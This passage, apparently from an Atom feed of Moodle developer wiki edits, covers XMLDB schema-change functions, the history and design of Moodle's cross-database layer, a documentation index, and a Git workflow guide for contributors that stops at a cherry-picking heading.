&lt;br /&gt;
/// To change the type of one field:&lt;br /&gt;
    $dbman-&amp;gt;change_field_type($table, $field, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To change the precision of one field:&lt;br /&gt;
    $dbman-&amp;gt;change_field_precision($table, $field, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To change the signed/unsigned status of one field:&lt;br /&gt;
    $dbman-&amp;gt;change_field_unsigned($table, $field, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To make one field nullable or not:&lt;br /&gt;
    $dbman-&amp;gt;change_field_notnull($table, $field, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To drop one enum (check constraint) from one field:&lt;br /&gt;
/// (note this function will be only available in Moodle 2.0 as it&#039;s needed&lt;br /&gt;
/// to drop any enum existing in previous Moodle releases). Will be out in Moodle 2.1&lt;br /&gt;
    $dbman-&amp;gt;drop_enum_from_field($table, $field, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To change the default value of one field:&lt;br /&gt;
    $dbman-&amp;gt;change_field_default($table, $field, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To rename one field:&lt;br /&gt;
    $dbman-&amp;gt;rename_field($table, $field, $newname, $continue=true, $feedback=true)&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Handling indexes===&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
/// To detect if one index exists:&lt;br /&gt;
    $dbman-&amp;gt;index_exists($table, $index)&lt;br /&gt;
&lt;br /&gt;
/// To return the name of one index in DB:&lt;br /&gt;
    $dbman-&amp;gt;find_index_name($table, $index)&lt;br /&gt;
&lt;br /&gt;
/// To add one index:&lt;br /&gt;
    $dbman-&amp;gt;add_index($table, $index, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To drop one index:&lt;br /&gt;
    $dbman-&amp;gt;drop_index($table, $index, $continue=true, $feedback=true)&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Some considerations==&lt;br /&gt;
# All the $table, $field, $index parameters are, always, XMLDB objects.&lt;br /&gt;
# All the $newtablename, $newfieldname parameters are, always, simple strings.&lt;br /&gt;
# All the ***_exists() functions return boolean true/false.&lt;br /&gt;
# Any problem in the execution of the functions will throw one Exception and the upgrade process will die.&lt;br /&gt;
# It&#039;s recommendable to use the [[XMLDB editor|XMLDB Editor]] to generate the PHP code automatically (did I say this before? :-P )&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
* [[Core APIs]]&lt;br /&gt;
* [[XMLDB Documentation|XMLDB Documentation]]: Main page of the whole XMLDB documentation, where all the process is defined and all the related information resides.&lt;br /&gt;
* [[XMLDB Defining one XML structure]]: Where you will know a bit more about the underlying XML structure used to define the DB objects, that is used continuously by the functions described in this page.&lt;br /&gt;
* [[Installing and upgrading plugin database tables|Installing and upgrading plugin DB tables]]&lt;br /&gt;
* [[DML functions|DML functions]]: Where all the functions used to handle DB data ([[wikipedia:Data_Manipulation_Language|DML]]) are defined.&lt;br /&gt;
* [[DDL functions - pre 2.0|DDL functions - pre 2.0]]: &#039;&#039;&#039;(deprecated!)&#039;&#039;&#039; For information valid before Moodle 2.0.&lt;br /&gt;
* [[DB layer 2.0 migration docs|DB layer 2.0 migration docs]]: Information about how to modify your code to work with the new Moodle 2.0 DB layer.&lt;br /&gt;
* [[DTL functions|DTL functions]]: Exporting, importing and moving of data stored in sql databases&lt;br /&gt;
&lt;br /&gt;
[[Category:DB]]&lt;br /&gt;
[[Category:XMLDB]]&lt;br /&gt;
[[Category:API]]&lt;br /&gt;
&lt;br /&gt;
[[ja:データ定義API]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=XMLDB_introduction&amp;diff=57776</id>
		<title>XMLDB introduction</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=XMLDB_introduction&amp;diff=57776"/>
		<updated>2020-08-17T11:37:10Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[XMLDB Documentation|XMLDB Documentation]] &amp;gt; Introduction&lt;br /&gt;
----&lt;br /&gt;
__NOTOC__&lt;br /&gt;
One of the main upcoming features in Moodle 1.7 was its ability to work with some more [[wikipedia:RDBMS|RDBMS]] ([[wikipedia:MSSQL|MSSQL]] and [[wikipedia:Oracle database|Oracle]]) while maintaining everything working properly with both [[MySQL]] and [[PostgreSQL]]. As Moodle core uses [http://adodb.sourceforge.net/ ADOdb] internally, this possibility has been present since the beginning and, with the current maturity of the project (5 year old baby!), this can be a good moment to sort all this out.&lt;br /&gt;
&lt;br /&gt;
Initially, all our tests and preliminary work was to inspect how [http://adodb.sourceforge.net/ ADOdb] was doing its work, and how we could mix together all those 4 RDBMS, whose SQL dialects, although pretty similar, have some differences and idiosyncrasies that force us to do some important changes to our current database code (formerly &#039;&#039;&#039;datalib.php&#039;&#039;&#039;) and how it&#039;s used by the rest of Moodle.&lt;br /&gt;
&lt;br /&gt;
All the changes to be performed, which primary objective is to enable Moodle to work with more RDBMS, must be fulfilled by following these non-functional requirements: &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Provide one layer (new) for DB creation/upgrade&#039;&#039;&#039; ([[wikipedia:Data_Definition_Language|DDL]]): With this, developers will create their structures in one neutral form, independent of the exact implementation to be used by each RDBMS.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Provide one layer (existing) for DB handling&#039;&#039;&#039; ([[wikipedia:Data_Manipulation_Language|DML]]): With this, developers will request/store information also in one neutral form, independent of the RDBMS being used.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Easy migration path from previous versions&#039;&#039;&#039;: The current installation/upgrade system will work until, at least, Moodle 2.0, allowing 3rd party developers to migrate to the new system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Simple, usable and effective&#039;&#039;&#039;: Until now, the way to upgrade Moodle has been really cool and it has worked pretty fine since the beginning. However, it has forced developers to maintain at least two installation and two upgrade scripts for each module/plugin. The new alternative will have only one file to install and one file to upgrade (per module/plugin too), reducing the possibility of mistakes drastically.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Conditional code usage must be minimised&#039;&#039;&#039;: Database libraries must accept 99% of potential SQL sentences, building/transforming them as necessary to work properly under any RDBMS. The number of places using custom (per DB) code should be minimum.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Well documented&#039;&#039;&#039;: All the functions defined, both at DML and DDL level must be well documented, helping the developer to find and use the correct one in each situation.&lt;br /&gt;
&lt;br /&gt;
== The Stack ==&lt;br /&gt;
&lt;br /&gt;
The next stack shows how Moodle 1.7 code will interact with the underlying RDBMS. It will help us understand a bit more what we are trying to do and will explain some of the points related in the Roadmap (below in this page).&lt;br /&gt;
&lt;br /&gt;
[[Image:MoodleDBStack.png|center]]&lt;br /&gt;
&lt;br /&gt;
Moodle code will use two &#039;&#039;languages&#039;&#039; to perform its DB actions:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;XMLDB neutral description files&#039;&#039;&#039;: To create, modify and delete database objects (DDL: create/alter/drop tables, fields, indexes, constraints...). It consists of a collection of validated, standard, XML files. They will be used to define all the DB objects. New for 1.7.&lt;br /&gt;
* &#039;&#039;&#039;Moodle SQL neutral statements&#039;&#039;&#039;: To add, modify, delete and select database information (DML: insert/update/delete/select records). To modify for 1.7.&lt;br /&gt;
&lt;br /&gt;
Please note the &#039;&#039;&#039;neutral&#039;&#039;&#039; keyword used in the expressions above. It means that both &#039;&#039;&#039;languages&#039;&#039;&#039; will be 100% the same, independent of the underlying RDBMS being used. And this must be particularly true for the XMLDB part.&lt;br /&gt;
&lt;br /&gt;
Obviously it&#039;s possible that in the SQL part we find some specialised queries (using complex joins, regular expressions...) that will force us to do some &#039;&#039;&#039;Exceptions&#039;&#039;&#039;. Well, they can exist (in fact, they exist), but we always must try to provide an alternate path to minimise them using neutral statements and standard libraries.&lt;br /&gt;
&lt;br /&gt;
Each one of the &#039;&#039;&#039;languages&#039;&#039;&#039; above will use its own library to do the work:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Moodle DDL Library&#039;&#039;&#039; ([[DDL functions|ddllib.php]]): Where all the functions needed to handle DB objects will exist. This library is new for 1.7 and will provide developers with a high level of abstraction. As input it will accept some well defined objects and actions and it will execute the proper commands for the RDBMS being used.&lt;br /&gt;
* &#039;&#039;&#039;Moodle DML Library&#039;&#039;&#039; ([[DML functions|dmllib.php]]): Where all the functions needed to handle DB contents will exist. This library is new for 1.7, although its contents are, basically, functions currently present in &#039;&#039;&#039;datalib.php&#039;&#039;&#039; (moved from there). All those DML functions will offer cross-db support for insert/update/delete/select statements using a common behaviour.&lt;br /&gt;
&lt;br /&gt;
Also note that &#039;&#039;&#039;datalib.php&#039;&#039;&#039; is still present in the schema above. It will contain all the functions that haven&#039;t been moved to the new &#039;&#039;&#039;ddllib.php&#039;&#039;&#039; and &#039;&#039;&#039;dmllib.php&#039;&#039;&#039; libraries. Only some common functions will remain there, and these will disappear (it&#039;s considered a legacy library) in upcoming &#039;&#039;&#039;Moodle&#039;&#039;&#039; releases (after 1.7) by moving all those functions to their proper library (course/lib.php, user/lib.php....). &lt;br /&gt;
&lt;br /&gt;
Both of these libraries (plus the small &#039;&#039;&#039;Exceptions&#039;&#039;&#039; bar) will perform all their actions using the &#039;&#039;&#039;ADOdb Database Abstraction Library for PHP&#039;&#039;&#039; that will receive all the requests from them, communicate with the DB (&#039;&#039;&#039;MySQL&#039;&#039;&#039;, &#039;&#039;&#039;PostgreSQL&#039;&#039;&#039;, &#039;&#039;&#039;Oracle&#039;&#039;&#039; or &#039;&#039;&#039;SQL*Server&#039;&#039;&#039;), retrieve results and forward them back to originator library.&lt;br /&gt;
&lt;br /&gt;
== The process ==&lt;br /&gt;
&lt;br /&gt;
This section points to the main areas of information about the &#039;&#039;&#039;process of design and implementation&#039;&#039;&#039; of the new XMLDB layer:&lt;br /&gt;
&lt;br /&gt;
* [[XMLDB Roadmap|Roadmap]]: Where the whole process is defined. It has been split into small chunks to be performed and tested easily. Also, such documents should be used to track what&#039;s done and what&#039;s pending, while using easy nomenclature.&lt;br /&gt;
&lt;br /&gt;
* [[XMLDB Problems|Problems]]: A comprehensive list of issues that need to be determined/solved prior to incorporating them into the [[XMLDB Roadmap|roadmap]].&lt;br /&gt;
&lt;br /&gt;
== The documentation ==&lt;br /&gt;
&lt;br /&gt;
This section points to the &#039;&#039;&#039;main documentation index&#039;&#039;&#039; about the implemented XMLDB:&lt;br /&gt;
&lt;br /&gt;
* [[XMLDB Documentation|Documentation]]: Where you&#039;ll find quick links to different parts of the XMLDB documentation.&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
=== XMLDB related ===&lt;br /&gt;
&lt;br /&gt;
* [[XMLDB preliminary links|XMLDB preliminary links]] - A collection of links about general info, searched and analysed at the initial stages of the project&lt;br /&gt;
* [[XMLDB preliminary notes|XMLDB preliminary notes]] - A collection of notes collected in the early stages of this project, pointing both to some changes required and some problems to solve.&lt;br /&gt;
&lt;br /&gt;
=== Database related ===&lt;br /&gt;
&lt;br /&gt;
* [[DDL functions|DDL functions]] - Documentation for all the Data Definition Language (DDL) functions available inside Moodle.&lt;br /&gt;
* [[DML functions|DML functions]] - Documentation for all the Data Manipulation Language (DML) functions available inside Moodle.&lt;br /&gt;
&lt;br /&gt;
[[Category:XMLDB]]&lt;br /&gt;
&lt;br /&gt;
[[zh:开发:XML数据库计划]]&lt;br /&gt;
[[ja:XMLDBイントロダクション]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=XMLDB_Documentation&amp;diff=57560</id>
		<title>XMLDB Documentation</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=XMLDB_Documentation&amp;diff=57560"/>
		<updated>2020-06-01T11:24:37Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
XMLDB is Moodle&#039;s database abstraction layer -- it is the library of code that lets Moodle interact with and access the database.&lt;br /&gt;
&lt;br /&gt;
In this page you will find links to all the XMLDB-related documentation.&lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
* [[XMLDB introduction|Introduction]]: Where the general idea of XMLDB is explained.&lt;br /&gt;
* [[XMLDB roadmap|Roadmap]]: An overall view of the process of implementing the XMLDB subsystem, with details for each point of the process.&lt;br /&gt;
* [[XMLDB problems|Problems]]: A comprehensive list of issues that need to be determined/solved prior to incorporate them into the [[XMLDB roadmap|roadmap]].&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
* [[:en:Installing MSSQL for PHP|Installing MSSQL for PHP]]: One short manual about the steps needed to successfully add MSSQL support to PHP.&lt;br /&gt;
* [[:en:Installing Oracle for PHP|Installing Oracle for PHP]]: One short manual about the steps needed to successfully add Oracle support to PHP.&lt;br /&gt;
* [[:en:Installing Moodle|Installing Moodle]]: The guide to install Moodle (once you have the [[:en:Installing AMP|AMP platform]] working on your server).&lt;br /&gt;
&lt;br /&gt;
=== Developing ===&lt;br /&gt;
&lt;br /&gt;
* [[DDL functions|DDL functions]]: One list of the new XMLDB Data Definition functions and their usage.&lt;br /&gt;
* [[DML functions|DML functions]]: One list of the available Data Manipulation functions and their usage.&lt;br /&gt;
* [[XMLDB defining an XML structure|XMLDB Usage]]: Explanation about the XML schema basis, the [[XMLDB defining an XML structure#The XMLDB editor|XML editor]] embedded within Moodle, its [[XMLDB defining an XML structure#Conventions|naming conventions]] and one simple but illustrative [[XMLDB defining an XML structure#One example: the assignment module|example]].&lt;br /&gt;
* [[Installing and upgrading plugin database tables]]&lt;br /&gt;
* [[Coding|Coding guidelines]]: The main coding guidelines and, more exactly, the [[Database|database structures section]] that you must follow carefully in order to produce good cross-db code.&lt;br /&gt;
* [[Database Schema|Database schema]]: Moodle database diagrams in [http://fabforce.net/dbdesigner4/ DBDesigner4] format.&lt;br /&gt;
&lt;br /&gt;
=== Bugs and new features ===&lt;br /&gt;
&lt;br /&gt;
* [http://tracker.moodle.org/secure/IssueNavigator.jspa?reset=true&amp;amp;&amp;amp;type=1&amp;amp;pid=10011&amp;amp;resolution=-1&amp;amp;component=10131&amp;amp;sorter/field=issuekey&amp;amp;sorter/order=DESC XMLDB known bugs]&lt;br /&gt;
* [http://tracker.moodle.org/secure/IssueNavigator.jspa?reset=true&amp;amp;&amp;amp;type=4&amp;amp;type=2&amp;amp;type=3&amp;amp;type=5&amp;amp;pid=10011&amp;amp;resolution=-1&amp;amp;component=10131&amp;amp;sorter/field=issuekey&amp;amp;sorter/order=DESC XMLDB pending improvements and features]&lt;br /&gt;
* [http://moodle.org/mod/forum/view.php?id=55 Developers forum]: For general development discussions.&lt;br /&gt;
&lt;br /&gt;
=== Database engine documentation ===&lt;br /&gt;
&lt;br /&gt;
Here are convenient links to the reference documentation of the various database engines we support, should you need to check that something is supported by all of them:&lt;br /&gt;
&lt;br /&gt;
* [http://www.postgresql.org/docs/8.4/interactive/index.html Postgres]&lt;br /&gt;
* [http://dev.mysql.com/doc/refman/5.0/en/index.html MySQL]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/library/ms189826.aspx MSSQL]&lt;br /&gt;
* [http://download.oracle.com/docs/cd/B14117_01/server.101/b10759/toc.htm Oracle]&lt;br /&gt;
&lt;br /&gt;
=== See also ===&lt;br /&gt;
* [[XMLDB column types|DB column types]] - Some links about column types inside every RDBMS and their characteristics.&lt;br /&gt;
* [[XMLDB key and index naming|DB key and index naming]] - Some info about automatic naming of keys/indexes and other objects.&lt;br /&gt;
* [[XMLDB reserved words|DB reserved words]] - A collection of reserver words inside each RDBMS.&lt;br /&gt;
&lt;br /&gt;
[[Category:XMLDB]]&lt;br /&gt;
[[Category:DB]]&lt;br /&gt;
&lt;br /&gt;
[[ja:XMLデータベーススキーマ]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Git_for_developers&amp;diff=31028</id>
		<title>Git for developers</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Git_for_developers&amp;diff=31028"/>
		<updated>2011-12-26T21:48:42Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This document is for helping you get started on Moodle development with Git. For further details of Git, see [[:Category:Git]].&lt;br /&gt;
&lt;br /&gt;
== General workflow ==&lt;br /&gt;
&lt;br /&gt;
[[image:git-pushpull-model.png|right|thumb|400px|Moodle development workflow with Git]]&lt;br /&gt;
In short, the Moodle development with Git looks like this:&lt;br /&gt;
&lt;br /&gt;
* You as the contributor commit changes into your personal repository at your computer&lt;br /&gt;
* You push the changes into your public repository and publish links to your changes in the Moodle Tracker&lt;br /&gt;
* You may ask for a peer review of your code from another developer (preferred but optional)&lt;br /&gt;
* When you are confident of your code you should submit it for integration (Integration request, also sometimes known as a pull request)&lt;br /&gt;
* Moodle integrators pull the changes from your public repository and if they like them, they put them into Moodle integration repository&lt;br /&gt;
* The integrated change is tested and finally pushed into Moodle production repository&lt;br /&gt;
* You update your local repository with all changes from the production repository and the next cycle may start again&lt;br /&gt;
&lt;br /&gt;
This workflow runs in roughly weekly cycles. The integration happens on Monday and the testing on Tuesday. On Wednesday, the production repository moodle.git is usually updated with changes from the last development week.&lt;br /&gt;
&lt;br /&gt;
Most Moodle developers have their public repositories hosted at [http://github.com/ Github]. Alternatively you may want to try [http://gitorious.org Gitorious] or the legendary [http://repo.or.cz repo.or.cz]. In the examples in this guide we assume you&#039;ll set up your public repository at Github.&lt;br /&gt;
&lt;br /&gt;
== Installing Git on your computer ==&lt;br /&gt;
&lt;br /&gt;
Install Git on your computer. Most Linux distributions have Git available as a package to install. If you are on Mac, [http://code.google.com/p/git-osx-installer/ git-osx-installer] installs it in few click.&lt;br /&gt;
&lt;br /&gt;
Immediately after the installation, set your name and contact e-mail. The name and e-mail will become part of your commits and they can&#039;t be changed later once your commits are accepted into the Moodle code. Therefore we ask contributors to use their real names written in capital letters, eg &amp;quot;John Smith&amp;quot; and not &amp;quot;john smith&amp;quot; or even &amp;quot;john5677&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
    git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
    git config --global user.email yourmail@domain.tld&lt;br /&gt;
&lt;br /&gt;
Unless you are the repository maintainer, it is wise to set your Git to not push changes in file permissions:&lt;br /&gt;
&lt;br /&gt;
    git config --global core.filemode false&lt;br /&gt;
&lt;br /&gt;
== Setting-up the public repository ==&lt;br /&gt;
&lt;br /&gt;
1. Go to [http://github.com/ Github] and create an account.&lt;br /&gt;
&lt;br /&gt;
2. Go to the [http://github.com/moodle/moodle official Moodle Github repository] and click on the Fork button. You now have your own Github Moodle repository.&lt;br /&gt;
&lt;br /&gt;
3. Now you need to set up your SSH public key, so you can push to your Github Moodle repository from your local Moodle repository. On Mac you can go on this [http://help.github.com/mac-key-setup/ Github help page]. If you are on another system, go to your Github administration page, to the section SSH Public Keys, and you should see a link to a help page. Done? Good! That was the most difficult part!&lt;br /&gt;
&lt;br /&gt;
== Setting-up the local repository at your computer  ==&lt;br /&gt;
&lt;br /&gt;
Create a local clone repository of your Github repository. In a terminal:&lt;br /&gt;
&lt;br /&gt;
    git clone git@github.com:YOUR_GITHUB_USERNAME/moodle.git YOUR_LOCAL_MOODLE_FOLDER&lt;br /&gt;
&lt;br /&gt;
This command does several jobs for you. It creates a new folder, initializes an empty Git repository in it, sets your Github repository as the remote repository called &#039;origin&#039; and makes a local checkout of the branch &#039;master&#039; from it. The important point to remember now is that your Github repository is aliased as &#039;origin&#039; for your local clone.&lt;br /&gt;
&lt;br /&gt;
== Keeping your public repository up-to-date ==&lt;br /&gt;
&lt;br /&gt;
[[image:git-sync-github.png|right|thumb|400px|Fetching changes from upstream and pushing them to github]]&lt;br /&gt;
Your fork at Github is not updated automatically. To keep it synced with the upstream Moodle repository, you have to fetch the recent changes from the official moodle.git and push them to your public repository. To avoid problems with this it is strongly recommended that you never modify the standard Moodle branches. &#039;&#039;Remember: never commit directly into master and MOODLE_xx_STABLE branches.&#039;&#039; In other words, always create topic branches to work on. In Gitspeak, the master branch and MOODLE_xx_STABLE branches should be always fast-forwardable.&lt;br /&gt;
&lt;br /&gt;
To keep your public repository up-to-date, we will register remote repository git://git.moodle.org/moodle.git under &#039;upstream&#039; alias. Then we create a script to be run regularly that fetches changes from the upstream repository and pushes them to your public repository. Note that this procedure will not affect your local working directory.&lt;br /&gt;
&lt;br /&gt;
To register the upstream remote:&lt;br /&gt;
&lt;br /&gt;
    git remote add upstream git://git.moodle.org/moodle.git&lt;br /&gt;
&lt;br /&gt;
The following commands can be used to keep the standard Moodle branches at your Github repository synced with the upstream repository. You may wish to store them in a script so that you can run it every week after the upstream repository is updated.&lt;br /&gt;
&lt;br /&gt;
    git fetch upstream&lt;br /&gt;
    for BRANCH in MOODLE_19_STABLE MOODLE_20_STABLE MOODLE_21_STABLE master; do&lt;br /&gt;
        git push origin refs/remotes/upstream/$BRANCH:$BRANCH&lt;br /&gt;
    done&lt;br /&gt;
&lt;br /&gt;
=== How it works ===&lt;br /&gt;
&lt;br /&gt;
The git-fetch command does not modify your current working dir (your checkout). It just downloads all recent changes from a remote repository and stores them into so called remote-tracking branches. The git-push command takes these remote-tracking branches from upstream and pushes them to Github under the same name. Understanding this fully requires a bit knowledge of Git internals - see gitrevisions(7) man page.&lt;br /&gt;
&lt;br /&gt;
Note there is no need to switch the local branch during this. You can even execute this via cron at your machine. Just note that the upstream repository updates typically just once a week.&lt;br /&gt;
&lt;br /&gt;
== Preparing a patch ==&lt;br /&gt;
&lt;br /&gt;
As said earlier at this page, you never work on standard Moodle branches directly. Every time you are going to edit something, switch to a local branch. Fork the local branch off the standard branch you think it should be merged to. So if you are working on a patch for 1.9 or 2.0, fork the branch off MOODLE_19_STABLE or MOODLE_20_STABLE, respectively. Patches for the next [[Moodle versions|major version]] should be based on the master branch.&lt;br /&gt;
&lt;br /&gt;
    git checkout -b MDL-xxxxx-nasty-bug origin/master&lt;br /&gt;
&lt;br /&gt;
Note that if you forget to specify the starting point, the branch is based on the currently checked-out branch. It may not be what you want. It is recommended to always specify the starting point.&lt;br /&gt;
&lt;br /&gt;
To check the current branch, run&lt;br /&gt;
&lt;br /&gt;
    git branch&lt;br /&gt;
&lt;br /&gt;
The current branch is highlighted.&lt;br /&gt;
&lt;br /&gt;
Now go and fix the issue with your favorite IDE. Check the status of the files, view the change to be committed and finally commit the change:&lt;br /&gt;
&lt;br /&gt;
    vim filename.php&lt;br /&gt;
    git status&lt;br /&gt;
    git diff&lt;br /&gt;
    git commit -a&lt;br /&gt;
&lt;br /&gt;
Note that this is safe as the commit is recorded just locally, nothing is sent to any server yet (as it would in CVS). To see history of the commits, use&lt;br /&gt;
&lt;br /&gt;
    git log&lt;br /&gt;
&lt;br /&gt;
Once your local branch contains the change (note that it may consists of several patches) and you are happy with it, publish the branch at your public repository:&lt;br /&gt;
&lt;br /&gt;
    git push&lt;br /&gt;
&lt;br /&gt;
Because we did not specify explicit remote repository, the &#039;origin&#039; is used. Because we did not specify the branch to push, the Git will use the current branch and push it to the remote repository under the same name (by default, this is a subject of your configuration. See push.default config variable).&lt;br /&gt;
&lt;br /&gt;
Now as your branch is published, you can ask Moodle core developers to review it and eventually integrate it into the standard Moodle repository.&lt;br /&gt;
&lt;br /&gt;
=== Checking if a branch has already been merged ===&lt;br /&gt;
&lt;br /&gt;
After some time contributing to Moodle you would have a lot of branches both in your local repository and in your public repository. To prune their list and delete those that were accepted by upstream, use the following&lt;br /&gt;
&lt;br /&gt;
    git fetch upstream                                      (1)&lt;br /&gt;
    git branch --merged upstream/master                     (2)&lt;br /&gt;
    git branch --merged upstream/MOODLE_20_STABLE           (3)&lt;br /&gt;
&lt;br /&gt;
The command (1) fetches the changes from your upstream repository at git.moodle.org (remember that git-fetch does not modify your working dir so it is safe to run it whenever). Command (2) and (3) print all branches that are merged into the upstream master branch and MOODLE_20_STABLE branch, respectively. To delete these local branches, use&lt;br /&gt;
&lt;br /&gt;
    git branch -d MDL-xxxxx-accepted-branch&lt;br /&gt;
&lt;br /&gt;
The similar approach can be used to check the branches published at your origin repository at github.com&lt;br /&gt;
&lt;br /&gt;
    git fetch origin                                        (1)&lt;br /&gt;
    git fetch upstream&lt;br /&gt;
    git branch -r --merged upstream/master                  (2)&lt;br /&gt;
    git branch -r --merged upstream/MOODLE_20_STABLE        (3)&lt;br /&gt;
&lt;br /&gt;
The command (1) makes sure that you have all your branches from github.com recorded as the remote tracking branch locally. Commands (2) and (3) work the same as in the previous example but they list remote tracking branches only ([http://www.kernel.org/pub/software/scm/git/docs/git-branch.html see -r param]). To delete a branch at github.com, use&lt;br /&gt;
&lt;br /&gt;
    git push origin :MDL-xxxx-branch-to-delete&lt;br /&gt;
&lt;br /&gt;
This syntax may look weird to you. However it is pretty logical. The general syntax of the git-push command is&lt;br /&gt;
&lt;br /&gt;
    git push &amp;lt;repository&amp;gt; &amp;lt;source ref&amp;gt;:&amp;lt;target ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
so deleting a remote branch can be understood as pushing an &amp;quot;empty (null) reference&amp;quot; to it.&lt;br /&gt;
&lt;br /&gt;
== Peer-reviewing someone else&#039;s code ==&lt;br /&gt;
&lt;br /&gt;
To review a branch that someone else pushed into their public repository, you do not need to register a new remote (unless you work with such repository frequently, of course). Let us imagine your friend Alice pushed a work-in-progress branch called &#039;wip-feature&#039; into her Github repository and asked you to review it. You need to know the read-only address of the repository and the name of the branch.&lt;br /&gt;
&lt;br /&gt;
    git fetch git://github.com/alice/moodle.git wip-feature&lt;br /&gt;
&lt;br /&gt;
This will download all required data and will keep the pointer to the tip of the wip-feature branch in a local symbolic reference FETCH_HEAD. To see what&#039;s there on that branch, use&lt;br /&gt;
&lt;br /&gt;
    git log -p FETCH_HEAD&lt;br /&gt;
&lt;br /&gt;
To see how a particular file looks at Alice&#039;s branch&lt;br /&gt;
&lt;br /&gt;
    git show FETCH_HEAD:admin/blocks.php&lt;br /&gt;
&lt;br /&gt;
To create a new local branch called &#039;alice-wip-feature&#039; containing the work by Alice, use&lt;br /&gt;
&lt;br /&gt;
    git checkout -b alice-wip-feature FETCH_HEAD&lt;br /&gt;
&lt;br /&gt;
To merge Alice&#039;s work into your current branch:&lt;br /&gt;
&lt;br /&gt;
    git merge FETCH_HEAD&lt;br /&gt;
&lt;br /&gt;
To see what would be merged into the current branch without actually modifying anything:&lt;br /&gt;
&lt;br /&gt;
    git diff ...FETCH_HEAD&lt;br /&gt;
&lt;br /&gt;
== Rebasing a branch ==&lt;br /&gt;
&lt;br /&gt;
Rebasing is a process when you cut off the branch from its current start point and transplant it to another point. Let us assume the following history exists:&lt;br /&gt;
&lt;br /&gt;
          A---B---C topic&lt;br /&gt;
         /&lt;br /&gt;
    D---E---F---G master&lt;br /&gt;
&lt;br /&gt;
From this point, the result of the command:&lt;br /&gt;
&lt;br /&gt;
    git rebase master topic&lt;br /&gt;
&lt;br /&gt;
would be:&lt;br /&gt;
&lt;br /&gt;
                  A&#039;--B&#039;--C&#039; topic&lt;br /&gt;
                 /&lt;br /&gt;
    D---E---F---G master&lt;br /&gt;
&lt;br /&gt;
and would end with &#039;topic&#039; being your current branch.&lt;br /&gt;
&lt;br /&gt;
You may be asked to rebase your branch submitted for the integration if the submitted branch was based on an outdated commit. The typical case is if you create a new branch as a fork off the upstream master branch on Tuesday. Then on Wednesday, the upstream master branch grows as all changes from the last integration cycle are merged to it. To make diff easy on Github for next weekly pull request review, you want to rebase your branch against the updated master.&lt;br /&gt;
&lt;br /&gt;
    git rebase master MDL-xxxxx-topic-branch&lt;br /&gt;
&lt;br /&gt;
Note that rebasing effectively rewrites the history of the branch. &#039;&#039;&#039;Do not rebase the branch if there is a chance that somebody has already forked it and based their own branch on it.&#039;&#039;&#039; For this reason, many Git tutorials discourage from rebasing any branch that has been published. However in Moodle, all branches submitted for integration are potential subject of rebase (even though we try to not to do it often) and you should not base your own branches on them.&lt;br /&gt;
&lt;br /&gt;
=== Conflicts during rebase ===&lt;br /&gt;
&lt;br /&gt;
During the rebase procedure, conflicts may appear. git-status commands reports the conflicted files. Explore them carefully and fix them in your editor (like you would do with CVS). Then add the files with &#039;git add&#039; command and continue.&lt;br /&gt;
&lt;br /&gt;
    vim conflicted.php&lt;br /&gt;
    git add conflicted.php&lt;br /&gt;
    git rebase --continue&lt;br /&gt;
&lt;br /&gt;
== Applying changes from one branch to another ==&lt;br /&gt;
&lt;br /&gt;
Most bugs are fixed at a stable branch (like MOODLE_20_STABLE) and the fix must be prepared for other branches, too (like MOODLE_21_STABLE and the main development branch - master). In Moodle, we do not merge stable branches into the master one. So usually the contributor prepares at least two branches - with the fix for the stable branch(es) and with the fix for the master branch.&lt;br /&gt;
&lt;br /&gt;
If you have a patch prepared on a local branch (let us say MDL-xxxx-topic_20_STABLE), it is possible to re-apply it to another branch.&lt;br /&gt;
&lt;br /&gt;
=== Cherry-picking a single commit ===&lt;br /&gt;
&lt;br /&gt;
